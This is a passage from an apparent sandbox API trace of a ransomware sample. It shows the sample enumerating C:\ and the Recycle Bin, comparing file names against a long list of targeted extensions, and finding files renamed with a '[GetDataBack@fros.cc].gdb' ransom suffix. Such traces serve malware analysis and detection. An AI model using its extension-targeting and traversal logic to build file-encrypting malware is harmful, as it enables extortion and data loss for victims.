Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0136.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0136.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0136.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0136.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0136.008] lstrlenW (lpString=".doc") returned 4 [0136.008] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0136.008] lstrlenW (lpString=".docx") returned 5 [0136.008] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0136.009] lstrlenW (lpString=".pdf") returned 4 [0136.009] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0136.009] lstrlenW (lpString=".xls") returned 4 [0136.009] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0136.009] lstrlenW (lpString=".xlsx") returned 5 [0136.009] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0136.009] lstrlenW (lpString=".ppt") returned 4 [0136.009] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0136.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0136.009] lstrlenW (lpString=".zip") returned 4 [0136.009] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0136.009] lstrlenW (lpString=".rar") returned 4 [0136.009] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0136.009] lstrlenW (lpString=".bz2") returned 4 [0136.009] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0136.009] lstrlenW (lpString=".7z") returned 3 [0136.009] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0136.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0136.009] lstrlenW (lpString=".dbf") returned 4 [0136.009] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0136.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0136.009] lstrlenW (lpString=".1cd") returned 4 [0136.009] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0136.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0136.009] lstrlenW (lpString=".jpg") returned 4 [0136.009] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0136.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0136.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0136.009] lstrlenW (lpString=".doc") returned 4 [0136.009] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0136.009] lstrlenW (lpString=".docx") returned 5 [0136.009] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0136.009] lstrlenW (lpString=".pdf") returned 4 [0136.009] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0136.010] lstrlenW (lpString=".xls") returned 4 [0136.010] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0136.010] lstrlenW (lpString=".xlsx") returned 5 [0136.010] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0136.010] lstrlenW (lpString=".ppt") returned 4 [0136.010] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0136.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0136.010] lstrlenW (lpString=".zip") returned 4 [0136.010] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0136.010] lstrlenW (lpString=".rar") returned 4 [0136.010] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0136.010] lstrlenW (lpString=".bz2") returned 4 [0136.010] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0136.010] lstrlenW (lpString=".7z") returned 3 [0136.010] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0136.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0136.010] lstrlenW (lpString=".dbf") returned 4 [0136.010] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0136.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0136.010] lstrlenW (lpString=".1cd") returned 4 [0136.010] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0136.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0136.010] lstrlenW (lpString=".jpg") returned 4 [0136.010] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0136.010] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0136.010] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0136.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 29 os_tid = 0xb28 [0115.270] lstrlenW (lpString="C:") returned 2 [0115.270] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x301fa20 | out: lpFindFileData=0x301fa20) returned 0x30e2d18 [0115.270] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0115.270] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0115.270] lstrlenW (lpString="$Recycle.Bin") returned 12 [0115.270] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0115.271] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0115.271] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x301f7a4 | out: lpFindFileData=0x301f7a4) returned 0x52c5c8 [0115.271] FindNextFileW (in: hFindFile=0x52c5c8, lpFindFileData=0x301f7a4 | out: lpFindFileData=0x301f7a4) returned 1 [0115.271] FindNextFileW (in: hFindFile=0x52c5c8, lpFindFileData=0x301f7a4 | out: lpFindFileData=0x301f7a4) returned 1 [0115.271] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0115.271] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0115.271] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0115.271] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0115.272] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0115.272] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x301f528 | out: lpFindFileData=0x301f528) returned 0x52c608 [0115.272] FindNextFileW (in: hFindFile=0x52c608, lpFindFileData=0x301f528 | out: lpFindFileData=0x301f528) returned 1 [0115.272] FindNextFileW (in: hFindFile=0x52c608, lpFindFileData=0x301f528 | out: lpFindFileData=0x301f528) returned 1 [0115.272] lstrlenW (lpString="desktop.ini.id-9C354B42.[GetDataBack@fros.cc].gdb") returned 49 [0115.272] lstrlenW (lpString=".1cd") returned 4 [0115.272] lstrcmpiW (lpString1=".1cd", lpString2=".gdb") returned -1 [0115.272] lstrlenW (lpString=".3ds") returned 4 [0115.272] lstrcmpiW (lpString1=".3ds", lpString2=".gdb") returned -1 [0115.272] lstrlenW (lpString=".3fr") returned 4 [0115.272] lstrcmpiW (lpString1=".3fr", lpString2=".gdb") returned -1 [0115.272] lstrlenW (lpString=".3g2") returned 4 [0115.272] lstrcmpiW (lpString1=".3g2", lpString2=".gdb") returned -1 [0115.272] lstrlenW (lpString=".3gp") returned 4 [0115.272] lstrcmpiW (lpString1=".3gp", lpString2=".gdb") returned -1 [0115.272] lstrlenW (lpString=".7z") returned 3 [0115.272] lstrcmpiW (lpString1=".7z", lpString2="gdb") returned -1 [0115.272] lstrlenW (lpString=".accda") returned 6 [0115.272] lstrcmpiW (lpString1=".accda", lpString2="c].gdb") returned -1 [0115.272] lstrlenW (lpString=".accdb") returned 6 [0115.272] lstrcmpiW (lpString1=".accdb", lpString2="c].gdb") returned -1 [0115.272] lstrlenW (lpString=".accdc") returned 6 [0115.272] lstrcmpiW (lpString1=".accdc", lpString2="c].gdb") returned -1 [0115.273] lstrlenW (lpString=".accde") returned 6 [0115.273] lstrcmpiW (lpString1=".accde", lpString2="c].gdb") returned -1 [0115.273] lstrlenW (lpString=".accdt") returned 6 [0115.273] lstrcmpiW (lpString1=".accdt", lpString2="c].gdb") returned -1 [0115.273] lstrlenW (lpString=".accdw") returned 6 [0115.273] lstrcmpiW (lpString1=".accdw", lpString2="c].gdb") returned -1 [0115.273] lstrlenW (lpString=".adb") returned 4 [0115.273] lstrcmpiW (lpString1=".adb", lpString2=".gdb") returned -1 [0115.273] lstrlenW (lpString=".adp") returned 4 [0115.273] lstrcmpiW (lpString1=".adp", lpString2=".gdb") returned -1 [0115.273] lstrlenW (lpString=".ai") returned 3 [0115.273] lstrcmpiW (lpString1=".ai", lpString2="gdb") returned -1 [0115.273] lstrlenW (lpString=".ai3") returned 4 [0115.273] lstrcmpiW (lpString1=".ai3", lpString2=".gdb") returned -1 [0115.273] lstrlenW (lpString=".ai4") returned 4 [0115.273] lstrcmpiW (lpString1=".ai4", lpString2=".gdb") returned -1 [0115.273] lstrlenW (lpString=".ai5") returned 4 [0115.273] lstrcmpiW (lpString1=".ai5", lpString2=".gdb") returned -1 [0115.273] lstrlenW (lpString=".ai6") returned 4 [0115.273] lstrcmpiW (lpString1=".ai6", lpString2=".gdb") returned -1 [0115.273] lstrlenW (lpString=".ai7") returned 4 [0115.273] lstrcmpiW (lpString1=".ai7", lpString2=".gdb") returned -1 [0115.273] lstrlenW (lpString=".ai8") returned 4 [0115.273] lstrcmpiW (lpString1=".ai8", lpString2=".gdb") returned -1 [0115.273] lstrlenW (lpString=".anim") returned 5 [0115.273] lstrcmpiW (lpString1=".anim", lpString2="].gdb") returned -1 [0115.273] lstrlenW (lpString=".arw") returned 4 [0115.273] lstrcmpiW (lpString1=".arw", lpString2=".gdb") returned -1 [0115.273] lstrlenW (lpString=".as") returned 3 [0115.273] lstrcmpiW (lpString1=".as", lpString2="gdb") returned -1 [0115.273] lstrlenW (lpString=".asa") returned 4 [0115.273] lstrcmpiW (lpString1=".asa", lpString2=".gdb") returned -1 [0115.273] lstrlenW (lpString=".asc") returned 4 [0115.273] lstrcmpiW (lpString1=".asc", lpString2=".gdb") returned -1 [0115.274] lstrlenW (lpString=".ascx") returned 5 [0115.274] lstrcmpiW (lpString1=".ascx", lpString2="].gdb") returned -1 [0115.274] lstrlenW (lpString=".asm") returned 4 [0115.274] lstrcmpiW (lpString1=".asm", lpString2=".gdb") returned -1 [0115.274] lstrlenW (lpString=".asmx") returned 5 [0115.274] lstrcmpiW (lpString1=".asmx", lpString2="].gdb") returned -1 [0115.274] lstrlenW (lpString=".asp") returned 4 [0115.274] lstrcmpiW (lpString1=".asp", lpString2=".gdb") returned -1 [0115.274] lstrlenW (lpString=".aspx") returned 5 [0115.274] lstrcmpiW (lpString1=".aspx", lpString2="].gdb") returned -1 [0115.274] lstrlenW (lpString=".asr") returned 4 [0115.274] lstrcmpiW (lpString1=".asr", lpString2=".gdb") returned -1 [0115.274] lstrlenW (lpString=".asx") returned 4 [0115.274] lstrcmpiW (lpString1=".asx", lpString2=".gdb") returned -1 [0115.274] lstrlenW (lpString=".avi") returned 4 [0115.274] lstrcmpiW (lpString1=".avi", lpString2=".gdb") returned -1 [0115.274] lstrlenW (lpString=".avs") returned 4 [0115.274] lstrcmpiW (lpString1=".avs", lpString2=".gdb") returned -1 [0115.274] lstrlenW (lpString=".backup") returned 7 [0115.274] lstrcmpiW (lpString1=".backup", lpString2="cc].gdb") returned -1 [0115.274] lstrlenW (lpString=".bak") returned 4 [0115.274] lstrcmpiW (lpString1=".bak", lpString2=".gdb") returned -1 [0115.274] lstrlenW (lpString=".bay") returned 4 [0115.274] lstrcmpiW (lpString1=".bay", lpString2=".gdb") returned -1 [0115.274] lstrlenW (lpString=".bd") returned 3 [0115.274] lstrcmpiW (lpString1=".bd", lpString2="gdb") returned -1 [0115.274] lstrlenW (lpString=".bin") returned 4 [0115.274] lstrcmpiW (lpString1=".bin", lpString2=".gdb") returned -1 [0115.274] lstrlenW (lpString=".bmp") returned 4 [0115.274] lstrcmpiW (lpString1=".bmp", lpString2=".gdb") returned -1 [0115.274] lstrlenW (lpString=".bz2") returned 4 [0115.274] lstrcmpiW (lpString1=".bz2", lpString2=".gdb") returned -1 [0115.274] lstrlenW (lpString=".c") returned 2 [0115.274] lstrcmpiW (lpString1=".c", lpString2="db") returned -1 [0115.274] lstrlenW (lpString=".cdr") returned 4 [0115.274] lstrcmpiW (lpString1=".cdr", lpString2=".gdb") returned -1 [0115.274] lstrlenW (lpString=".cer") returned 4 [0115.275] lstrcmpiW (lpString1=".cer", lpString2=".gdb") returned -1 [0115.275] lstrlenW (lpString=".cf") returned 3 [0115.275] lstrcmpiW (lpString1=".cf", lpString2="gdb") returned -1 [0115.275] lstrlenW (lpString=".cfc") returned 4 [0115.275] lstrcmpiW (lpString1=".cfc", lpString2=".gdb") returned -1 [0115.275] lstrlenW (lpString=".cfm") returned 4 [0115.275] lstrcmpiW (lpString1=".cfm", lpString2=".gdb") returned -1 [0115.275] lstrlenW (lpString=".cfml") returned 5 [0115.275] lstrcmpiW (lpString1=".cfml", lpString2="].gdb") returned -1 [0115.275] lstrlenW (lpString=".cfu") returned 4 [0115.275] lstrcmpiW (lpString1=".cfu", lpString2=".gdb") returned -1 [0115.275] lstrlenW (lpString=".chm") returned 4 [0115.275] lstrcmpiW (lpString1=".chm", lpString2=".gdb") returned -1 [0115.275] lstrlenW (lpString=".cin") returned 4 [0115.275] lstrcmpiW (lpString1=".cin", lpString2=".gdb") returned -1 [0115.275] lstrlenW (lpString=".class") returned 6 [0115.275] lstrcmpiW (lpString1=".class", lpString2="c].gdb") returned -1 [0115.275] lstrlenW (lpString=".clx") returned 4 [0115.275] lstrcmpiW (lpString1=".clx", lpString2=".gdb") returned -1 [0115.275] lstrlenW (lpString=".config") returned 7 [0115.275] lstrcmpiW (lpString1=".config", lpString2="cc].gdb") returned -1 [0115.275] lstrlenW (lpString=".cpp") returned 4 [0115.275] lstrcmpiW (lpString1=".cpp", lpString2=".gdb") returned -1 [0115.275] lstrlenW (lpString=".cr2") returned 4 [0115.275] lstrcmpiW (lpString1=".cr2", lpString2=".gdb") returned -1 [0115.275] lstrlenW (lpString=".crt") returned 4 [0115.275] lstrcmpiW (lpString1=".crt", lpString2=".gdb") returned -1 [0115.275] lstrlenW (lpString=".crw") returned 4 [0115.275] lstrcmpiW (lpString1=".crw", lpString2=".gdb") returned -1 [0115.275] lstrlenW (lpString=".cs") returned 3 [0115.275] lstrcmpiW (lpString1=".cs", lpString2="gdb") returned -1 [0115.275] lstrlenW (lpString=".css") returned 4 [0115.275] lstrcmpiW (lpString1=".css", lpString2=".gdb") returned -1 [0115.275] lstrlenW (lpString=".csv") returned 4 [0115.275] lstrcmpiW (lpString1=".csv", lpString2=".gdb") returned -1 [0115.275] lstrlenW (lpString=".cub") returned 4 [0115.276] lstrcmpiW (lpString1=".cub", lpString2=".gdb") returned -1 [0115.276] lstrlenW (lpString=".dae") returned 4 [0115.276] lstrcmpiW (lpString1=".dae", lpString2=".gdb") returned -1 [0115.276] lstrlenW (lpString=".dat") returned 4 [0115.276] lstrcmpiW (lpString1=".dat", lpString2=".gdb") returned -1 [0115.276] lstrlenW (lpString=".db") returned 3 [0115.276] lstrcmpiW (lpString1=".db", lpString2="gdb") returned -1 [0115.276] lstrlenW (lpString=".dbf") returned 4 [0115.276] lstrcmpiW (lpString1=".dbf", lpString2=".gdb") returned -1 [0115.276] lstrlenW (lpString=".dbx") returned 4 [0115.276] lstrcmpiW (lpString1=".dbx", lpString2=".gdb") returned -1 [0115.276] lstrlenW (lpString=".dc3") returned 4 [0115.276] lstrcmpiW (lpString1=".dc3", lpString2=".gdb") returned -1 [0115.276] lstrlenW (lpString=".dcm") returned 4 [0115.276] lstrcmpiW (lpString1=".dcm", lpString2=".gdb") returned -1 [0115.276] lstrlenW (lpString=".dcr") returned 4 [0115.276] lstrcmpiW (lpString1=".dcr", lpString2=".gdb") returned -1 [0115.276] lstrlenW (lpString=".der") returned 4 [0115.276] lstrcmpiW (lpString1=".der", lpString2=".gdb") returned -1 [0115.276] lstrlenW (lpString=".dib") returned 4 [0115.276] lstrcmpiW (lpString1=".dib", lpString2=".gdb") returned -1 [0115.276] lstrlenW (lpString=".dic") returned 4 [0115.276] lstrcmpiW (lpString1=".dic", lpString2=".gdb") returned -1 [0115.276] lstrlenW (lpString=".dif") returned 4 [0115.276] lstrcmpiW (lpString1=".dif", lpString2=".gdb") returned -1 [0115.276] lstrlenW (lpString=".divx") returned 5 [0115.276] lstrcmpiW (lpString1=".divx", lpString2="].gdb") returned -1 [0115.276] lstrlenW (lpString=".djvu") returned 5 [0115.276] lstrcmpiW (lpString1=".djvu", lpString2="].gdb") returned -1 [0115.276] lstrlenW (lpString=".dng") returned 4 [0115.276] lstrcmpiW (lpString1=".dng", lpString2=".gdb") returned -1 [0115.276] lstrlenW (lpString=".doc") returned 4 [0115.276] lstrcmpiW (lpString1=".doc", lpString2=".gdb") returned -1 [0115.276] lstrlenW (lpString=".docm") returned 5 [0115.276] lstrcmpiW (lpString1=".docm", lpString2="].gdb") returned -1 [0115.276] lstrlenW (lpString=".docx") returned 5 [0115.276] lstrcmpiW (lpString1=".docx", lpString2="].gdb") returned -1 [0115.277] lstrlenW (lpString=".dot") returned 4 [0115.277] lstrcmpiW (lpString1=".dot", lpString2=".gdb") returned -1 [0115.277] lstrlenW (lpString=".dotm") returned 5 [0115.277] lstrcmpiW (lpString1=".dotm", lpString2="].gdb") returned -1 [0115.277] lstrlenW (lpString=".dotx") returned 5 [0115.277] lstrcmpiW (lpString1=".dotx", lpString2="].gdb") returned -1 [0115.277] lstrlenW (lpString=".dpx") returned 4 [0115.277] lstrcmpiW (lpString1=".dpx", lpString2=".gdb") returned -1 [0115.277] lstrlenW (lpString=".dqy") returned 4 [0115.277] lstrcmpiW (lpString1=".dqy", lpString2=".gdb") returned -1 [0115.277] lstrlenW (lpString=".dsn") returned 4 [0115.277] lstrcmpiW (lpString1=".dsn", lpString2=".gdb") returned -1 [0115.277] lstrlenW (lpString=".dt") returned 3 [0115.277] lstrcmpiW (lpString1=".dt", lpString2="gdb") returned -1 [0115.277] lstrlenW (lpString=".dtd") returned 4 [0115.277] lstrcmpiW (lpString1=".dtd", lpString2=".gdb") returned -1 [0115.277] lstrlenW (lpString=".dwg") returned 4 [0115.277] lstrcmpiW (lpString1=".dwg", lpString2=".gdb") returned -1 [0115.277] lstrlenW (lpString=".dwt") returned 4 [0115.277] lstrcmpiW (lpString1=".dwt", lpString2=".gdb") returned -1 [0115.277] lstrlenW (lpString=".dx") returned 3 [0115.277] lstrcmpiW (lpString1=".dx", lpString2="gdb") returned -1 [0115.277] lstrlenW (lpString=".dxf") returned 4 [0115.277] lstrcmpiW (lpString1=".dxf", lpString2=".gdb") returned -1 [0115.277] lstrlenW (lpString=".edml") returned 5 [0115.277] lstrcmpiW (lpString1=".edml", lpString2="].gdb") returned -1 [0115.277] lstrlenW (lpString=".efd") returned 4 [0115.277] lstrcmpiW (lpString1=".efd", lpString2=".gdb") returned -1 [0115.277] lstrlenW (lpString=".elf") returned 4 [0115.277] lstrcmpiW (lpString1=".elf", lpString2=".gdb") returned -1 [0115.277] lstrlenW (lpString=".emf") returned 4 [0115.277] lstrcmpiW (lpString1=".emf", lpString2=".gdb") returned -1 [0115.277] lstrlenW (lpString=".emz") returned 4 [0115.277] lstrcmpiW (lpString1=".emz", lpString2=".gdb") returned -1 [0115.277] lstrlenW (lpString=".epf") returned 4 [0115.277] lstrcmpiW (lpString1=".epf", lpString2=".gdb") returned -1 [0115.277] lstrlenW (lpString=".eps") returned 4 [0115.278] lstrcmpiW (lpString1=".eps", lpString2=".gdb") returned -1 [0115.278] lstrlenW (lpString=".epsf") returned 5 [0115.278] lstrcmpiW (lpString1=".epsf", lpString2="].gdb") returned -1 [0115.278] lstrlenW (lpString=".epsp") returned 5 [0115.278] lstrcmpiW (lpString1=".epsp", lpString2="].gdb") returned -1 [0115.278] lstrlenW (lpString=".erf") returned 4 [0115.278] lstrcmpiW (lpString1=".erf", lpString2=".gdb") returned -1 [0115.278] lstrlenW (lpString=".exr") returned 4 [0115.278] lstrcmpiW (lpString1=".exr", lpString2=".gdb") returned -1 [0115.278] lstrlenW (lpString=".f4v") returned 4 [0115.278] lstrcmpiW (lpString1=".f4v", lpString2=".gdb") returned -1 [0115.278] lstrlenW (lpString=".fido") returned 5 [0115.278] lstrcmpiW (lpString1=".fido", lpString2="].gdb") returned -1 [0115.278] lstrlenW (lpString=".flm") returned 4 [0115.278] lstrcmpiW (lpString1=".flm", lpString2=".gdb") returned -1 [0115.278] lstrlenW (lpString=".flv") returned 4 [0115.278] lstrcmpiW (lpString1=".flv", lpString2=".gdb") returned -1 [0115.278] lstrlenW (lpString=".frm") returned 4 [0115.278] lstrcmpiW (lpString1=".frm", lpString2=".gdb") returned -1 [0115.278] lstrlenW (lpString=".fxg") returned 4 [0115.278] lstrcmpiW (lpString1=".fxg", lpString2=".gdb") returned -1 [0115.278] lstrlenW (lpString=".geo") returned 4 [0115.278] lstrcmpiW (lpString1=".geo", lpString2=".gdb") returned 1 [0115.278] lstrlenW (lpString=".gif") returned 4 [0115.278] lstrcmpiW (lpString1=".gif", lpString2=".gdb") returned 1 [0115.278] lstrlenW (lpString=".grs") returned 4 [0115.278] lstrcmpiW (lpString1=".grs", lpString2=".gdb") returned 1 [0115.278] lstrlenW (lpString=".gz") returned 3 [0115.278] lstrcmpiW (lpString1=".gz", lpString2="gdb") returned -1 [0115.278] lstrlenW (lpString=".h") returned 2 [0115.278] lstrcmpiW (lpString1=".h", lpString2="db") returned -1 [0115.278] lstrlenW (lpString=".hdr") returned 4 [0115.278] lstrcmpiW (lpString1=".hdr", lpString2=".gdb") returned 1 [0115.278] lstrlenW (lpString=".hpp") returned 4 [0115.278] lstrcmpiW (lpString1=".hpp", lpString2=".gdb") returned 1 [0115.278] lstrlenW (lpString=".hta") returned 4 [0115.279] lstrcmpiW (lpString1=".hta", lpString2=".gdb") returned 1 [0115.279] lstrlenW (lpString=".htc") returned 4 [0115.279] lstrcmpiW (lpString1=".htc", lpString2=".gdb") returned 1 [0115.279] lstrlenW (lpString=".htm") returned 4 [0115.279] lstrcmpiW (lpString1=".htm", lpString2=".gdb") returned 1 [0115.279] lstrlenW (lpString=".html") returned 5 [0115.279] lstrcmpiW (lpString1=".html", lpString2="].gdb") returned -1 [0115.279] lstrlenW (lpString=".icb") returned 4 [0115.279] lstrcmpiW (lpString1=".icb", lpString2=".gdb") returned 1 [0115.279] lstrlenW (lpString=".ics") returned 4 [0115.279] lstrcmpiW (lpString1=".ics", lpString2=".gdb") returned 1 [0115.279] lstrlenW (lpString=".iff") returned 4 [0115.279] lstrcmpiW (lpString1=".iff", lpString2=".gdb") returned 1 [0115.279] lstrlenW (lpString=".inc") returned 4 [0115.279] lstrcmpiW (lpString1=".inc", lpString2=".gdb") returned 1 [0115.279] lstrlenW (lpString=".indd") returned 5 [0115.279] lstrcmpiW (lpString1=".indd", lpString2="].gdb") returned -1 [0115.279] lstrlenW (lpString=".ini") returned 4 [0115.279] lstrcmpiW (lpString1=".ini", lpString2=".gdb") returned 1 [0115.279] lstrlenW (lpString=".iqy") returned 4 [0115.279] lstrcmpiW (lpString1=".iqy", lpString2=".gdb") returned 1 [0115.279] lstrlenW (lpString=".j2c") returned 4 [0115.279] lstrcmpiW (lpString1=".j2c", lpString2=".gdb") returned 1 [0115.279] lstrlenW (lpString=".j2k") returned 4 [0115.279] lstrcmpiW (lpString1=".j2k", lpString2=".gdb") returned 1 [0115.279] lstrlenW (lpString=".java") returned 5 [0115.279] lstrcmpiW (lpString1=".java", lpString2="].gdb") returned -1 [0115.279] lstrlenW (lpString=".jp2") returned 4 [0115.279] lstrcmpiW (lpString1=".jp2", lpString2=".gdb") returned 1 [0115.279] lstrlenW (lpString=".jpc") returned 4 [0115.279] lstrcmpiW (lpString1=".jpc", lpString2=".gdb") returned 1 [0115.279] lstrlenW (lpString=".jpe") returned 4 [0115.279] lstrcmpiW (lpString1=".jpe", lpString2=".gdb") returned 1 [0115.279] lstrlenW (lpString=".jpeg") returned 5 [0115.279] lstrcmpiW (lpString1=".jpeg", lpString2="].gdb") returned -1 [0115.279] lstrlenW (lpString=".jpf") returned 4 [0115.279] lstrcmpiW (lpString1=".jpf", lpString2=".gdb") returned 1 [0115.280] lstrlenW (lpString=".jpg") returned 4 [0115.280] lstrcmpiW (lpString1=".jpg", lpString2=".gdb") returned 1 [0115.280] lstrlenW (lpString=".jpx") returned 4 [0115.280] lstrcmpiW (lpString1=".jpx", lpString2=".gdb") returned 1 [0115.280] lstrlenW (lpString=".js") returned 3 [0115.280] lstrcmpiW (lpString1=".js", lpString2="gdb") returned -1 [0115.280] lstrlenW (lpString=".jsf") returned 4 [0115.280] lstrcmpiW (lpString1=".jsf", lpString2=".gdb") returned 1 [0115.280] lstrlenW (lpString=".json") returned 5 [0115.280] lstrcmpiW (lpString1=".json", lpString2="].gdb") returned -1 [0115.280] lstrlenW (lpString=".jsp") returned 4 [0115.280] lstrcmpiW (lpString1=".jsp", lpString2=".gdb") returned 1 [0115.280] lstrlenW (lpString=".kdc") returned 4 [0115.280] lstrcmpiW (lpString1=".kdc", lpString2=".gdb") returned 1 [0115.280] lstrlenW (lpString=".kmz") returned 4 [0115.280] lstrcmpiW (lpString1=".kmz", lpString2=".gdb") returned 1 [0115.280] lstrlenW (lpString=".kwm") returned 4 [0115.280] lstrcmpiW (lpString1=".kwm", lpString2=".gdb") returned 1 [0115.280] lstrlenW (lpString=".lasso") returned 6 [0115.280] lstrcmpiW (lpString1=".lasso", lpString2="c].gdb") returned -1 [0115.280] lstrlenW (lpString=".lbi") returned 4 [0115.280] lstrcmpiW (lpString1=".lbi", lpString2=".gdb") returned 1 [0115.280] lstrlenW (lpString=".lgf") returned 4 [0115.280] lstrcmpiW (lpString1=".lgf", lpString2=".gdb") returned 1 [0115.280] lstrlenW (lpString=".lgp") returned 4 [0115.280] lstrcmpiW (lpString1=".lgp", lpString2=".gdb") returned 1 [0115.280] lstrlenW (lpString=".log") returned 4 [0115.280] lstrcmpiW (lpString1=".log", lpString2=".gdb") returned 1 [0115.280] lstrlenW (lpString=".m1v") returned 4 [0115.280] lstrcmpiW (lpString1=".m1v", lpString2=".gdb") returned 1 [0115.280] lstrlenW (lpString=".m4a") returned 4 [0115.280] lstrcmpiW (lpString1=".m4a", lpString2=".gdb") returned 1 [0115.280] lstrlenW (lpString=".m4v") returned 4 [0115.280] lstrcmpiW (lpString1=".m4v", lpString2=".gdb") returned 1 [0115.280] lstrlenW (lpString=".max") returned 4 [0115.280] lstrcmpiW (lpString1=".max", lpString2=".gdb") returned 1 [0115.280] lstrlenW (lpString=".md") returned 3 [0115.281] lstrcmpiW (lpString1=".md", lpString2="gdb") returned -1 [0115.281] lstrlenW (lpString=".mda") returned 4 [0115.281] lstrcmpiW (lpString1=".mda", lpString2=".gdb") returned 1 [0115.281] lstrlenW (lpString=".mdb") returned 4 [0115.281] lstrcmpiW (lpString1=".mdb", lpString2=".gdb") returned 1 [0115.281] lstrlenW (lpString=".mde") returned 4 [0115.281] lstrcmpiW (lpString1=".mde", lpString2=".gdb") returned 1 [0115.281] lstrlenW (lpString=".mdf") returned 4 [0115.281] lstrcmpiW (lpString1=".mdf", lpString2=".gdb") returned 1 [0115.281] lstrlenW (lpString=".mdw") returned 4 [0115.281] lstrcmpiW (lpString1=".mdw", lpString2=".gdb") returned 1 [0115.281] lstrlenW (lpString=".mef") returned 4 [0115.281] lstrcmpiW (lpString1=".mef", lpString2=".gdb") returned 1 [0115.281] lstrlenW (lpString=".mft") returned 4 